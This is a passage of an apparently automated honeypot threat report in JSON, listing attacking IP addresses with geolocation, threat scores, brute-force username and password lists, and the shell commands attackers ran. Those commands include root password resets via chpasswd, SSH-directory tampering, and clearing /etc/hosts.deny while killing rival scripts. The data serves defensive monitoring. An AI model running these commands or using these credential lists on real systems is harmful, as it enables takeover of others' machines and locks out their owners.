        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Songpa-gu",
      "asn": 9316,
      "as_org": "DACOM-PUBNETPLUS",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:42:17.577000+00:00",
        "last_seen_30d": "2026-03-20T04:15:37.643000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 42
      }
    },
    "188.166.90.184": {
      "attack_count": 202,
      "first_seen": "2026-03-16T13:00:16.472Z",
      "last_seen": "2026-03-16T13:29:39.444Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:00:16.472000+00:00",
        "last_seen_30d": "2026-03-16T13:30:41.510000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 85
      }
    },
    "179.43.97.86": {
      "attack_count": 191,
      "first_seen": "2026-03-03T21:42:47.114Z",
      "last_seen": "2026-03-03T22:11:36.447Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123qweqwe",
        "Abcde123",
        "Admin#1234",
        "Admin123!!",
        "Bingo@1993",
        "Fs123456",
        "abc@123123",
        "dan",
        "pa55Word",
        "qaz.123456",
        "qwerty123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DV1wy5E008S5\"|chpasswd|bash",
        "echo \"root:UpkwRwUO2YFN\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Arequipa",
      "asn": 263189,
      "as_org": "GLG PERU SAC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:42:47.114000+00:00",
        "last_seen_30d": "2026-03-03T22:12:40.937000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "165.154.6.100": {
      "attack_count": 188,
      "first_seen": "2026-03-14T19:20:06.942Z",
      "last_seen": "2026-03-14T19:41:38.473Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "geo",
        "linuxbrew",
        "root",
        "aa",
        "ociispth",
        "pengbo",
        "prueba",
        "server",
        "superman"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "1234",
        "123456",
        "Aa1234567",
        "Ociispth123!",
        "geo123!",
        "linuxbrew123",
        "pengbo",
        "prueba",
        "serverpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"geo123!\\nRRihq7PD5lO2\\nRRihq7PD5lO2\\n\"|passwd",
        "echo \"linuxbrew123\\n95yRstYZwyde\\n95yRstYZwyde\\n\"|passwd",
        "echo -e \"geo123!\\nRRihq7PD5lO2\\nRRihq7PD5lO2\"|passwd|bash",
        "echo -e \"linuxbrew123\\n95yRstYZwyde\\n95yRstYZwyde\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:20:06.942000+00:00",
        "last_seen_30d": "2026-03-14T19:42:41.341000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "152.32.185.67": {
      "attack_count": 186,
      "first_seen": "2026-03-02T16:49:42.664Z",
      "last_seen": "2026-03-02T17:14:57.200Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "As1234567",
        "Lh123456@",
        "Pa$$w0rd@2024",
        "Sz123456",
        "admin2024",
        "ethan",
        "qwer1234.",
        "qwerty12345",
        "zxcZXC123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AGON6a4CeBlt\"|chpasswd|bash",
        "echo \"root:Zchk197VOikz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:49:42.664000+00:00",
        "last_seen_30d": "2026-03-02T17:16:03.864000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "134.209.184.57": {
      "attack_count": 175,
      "first_seen": "2026-03-19T08:01:54.684Z",
      "last_seen": "2026-03-19T08:34:43.417Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "111111",
        "Administrator",
        "Password1",
        "default",
        "password1",
        "root",
        "system",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:01:54.684000+00:00",
        "last_seen_30d": "2026-03-19T08:35:50.139000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 175,
        "Suricata": 76
      }
    },
    "171.231.177.44": {
      "attack_count": 162,
      "first_seen": "2026-03-21T11:20:52.114Z",
      "last_seen": "2026-03-21T11:31:46.355Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1234",
        "auto",
        "btf",
        "config",
        "ftpuser",
        "guest",
        "installer",
        "joggler",
        "oracle",
        "plex",
        "psybnc",
        "rebecca",
        "sshd",
        "support",
        "system",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "123456",
        "321start",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin123",
        "admin@123",
        "alpine",
        "asteriskftp",
        "config",
        "guest",
        "installer",
        "ipscan",
        "joggler",
        "lifesize",
        "oracle",
        "p@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:20:52.114000+00:00",
        "last_seen_30d": "2026-03-21T11:32:53.319000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 162,
        "Suricata": 73
      }
    },
    "175.173.34.105": {
      "attack_count": 138,
      "first_seen": "2026-03-08T22:15:38.202Z",
      "last_seen": "2026-03-08T22:21:08.751Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T22:15:38.202000+00:00",
        "last_seen_30d": "2026-03-08T22:22:18.022000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 138,
        "Suricata": 70
      }
    },
    "167.172.51.210": {
      "attack_count": 133,
      "first_seen": "2026-03-08T19:12:20.226Z",
      "last_seen": "2026-03-08T19:36:41.098Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T19:12:12.523000+00:00",
        "last_seen_30d": "2026-03-08T19:37:44.300000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 54
      }
    },
    "203.150.107.244": {
      "attack_count": 123,
      "first_seen": "2026-03-03T09:01:20.149Z",
      "last_seen": "2026-03-03T09:31:01.024Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456.",
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Cloud@1234",
        "Mc@123456",
        "Qwe123456",
        "Qwert!2345",
        "Test12!@",
        "alireza",
        "chen1234",
        "redhat",
        "reza1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dOvxkkLwSWwg\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 4618,
      "as_org": "Internet Thailand Company Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 157,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:01:20.149000+00:00",
        "last_seen_30d": "2026-03-03T09:32:05.416000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 34
      }
    },
    "171.61.18.30": {
      "attack_count": 119,
      "first_seen": "2026-03-23T22:18:10.696Z",
      "last_seen": "2026-03-23T22:38:09.539Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "jboss",
        "345gs5662d34",
        "adminuser",
        "comunicacao",
        "ftpsecure",
        "gm",
        "kocom",
        "mason",
        "puppet",
        "term2",
        "user"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Gm123!",
        "Qwerty123",
        "adminuser123!",
        "comunicacao123",
        "jboss123",
        "password",
        "puppet1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"jboss123\\nmEvDYBtd5wtK\\nmEvDYBtd5wtK\\n\"|passwd",
        "echo -e \"jboss123\\nmEvDYBtd5wtK\\nmEvDYBtd5wtK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ludhiana",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T22:18:10.696000+00:00",
        "last_seen_30d": "2026-03-23T22:39:13.090000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "35.188.112.111": {
      "attack_count": 119,
      "first_seen": "2026-03-05T20:30:33.953Z",
      "last_seen": "2026-03-05T20:49:28.662Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "eadmin",
        "345gs5662d34",
        "Guest",
        "email",
        "hzy",
        "kjh",
        "mobile",
        "pedro",
        "project",
        "root",
        "socksuser"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "1337",
        "3245gs5662d34",
        "345gs5662d34",
        "Eadmin123!",
        "Kjh123!",
        "Pedro123!",
        "email123",
        "mobile123!",
        "project"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Eadmin123!\\nmWDPMooNTZz0\\nmWDPMooNTZz0\\n\"|passwd",
        "echo -e \"Eadmin123!\\nmWDPMooNTZz0\\nmWDPMooNTZz0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:30:33.953000+00:00",
        "last_seen_30d": "2026-03-05T20:50:30.824000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "156.227.236.72": {
      "attack_count": 117,
      "first_seen": "2026-03-11T15:09:56.014Z",
      "last_seen": "2026-03-11T15:31:09.827Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "nico",
        "ayoub",
        "david",
        "icecast",
        "monitoring",
        "n8n",
        "root",
        "user01"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "Aa222222",
        "ayoub123",
        "david1234",
        "n8n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nfPc6lcESliSF\\nfPc6lcESliSF\\n\"|passwd",
        "echo -e \"12345\\nfPc6lcESliSF\\nfPc6lcESliSF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T15:09:56.014000+00:00",
        "last_seen_30d": "2026-03-11T15:39:20.008000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 31
      }
    },
    "20.123.146.94": {
      "attack_count": 96,
      "first_seen": "2026-03-22T12:12:38.049Z",
      "last_seen": "2026-03-31T07:49:24.261Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "escaner",
        "jun"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "$#@!ergean*(",
        "123456",
        "escaner",
        "huanmu147258"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BF4oAgs5NTNZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:12:38.049000+00:00",
        "last_seen_30d": "2026-03-31T07:50:28.773000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 16
      }
    },
    "185.226.89.235": {
      "attack_count": 93,
      "first_seen": "2026-03-26T11:16:42.065Z",
      "last_seen": "2026-03-26T11:25:37.078Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aroot",
        "bot",
        "bruno",
        "sasha"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Bot123",
        "bruno123!",
        "sashapass",
        "voip123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:r6bk8fc4YOec\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Albania",
      "country_code": "AL",
